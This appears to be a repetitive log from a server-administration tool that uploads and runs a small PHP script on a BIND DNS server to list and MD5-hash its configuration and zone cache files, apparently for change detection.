MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-30 00:11:51: Establishing a connection
2025-08-30 00:11:51:
PUT: /tmp/pkp948512
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-30 00:11:51:
runuser -l bind -s /bin/bash -c '/tmp/pkp948512; rm /tmp/pkp948512'
2025-08-30 00:11:51:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-30 00:11:55: Establishing a connection
2025-08-30 00:11:55:
PUT: /tmp/pkp410424
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-30 00:11:55:
runuser -l bind -s /bin/bash -c '/tmp/pkp410424; rm /tmp/pkp410424'
2025-08-30 00:11:55:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
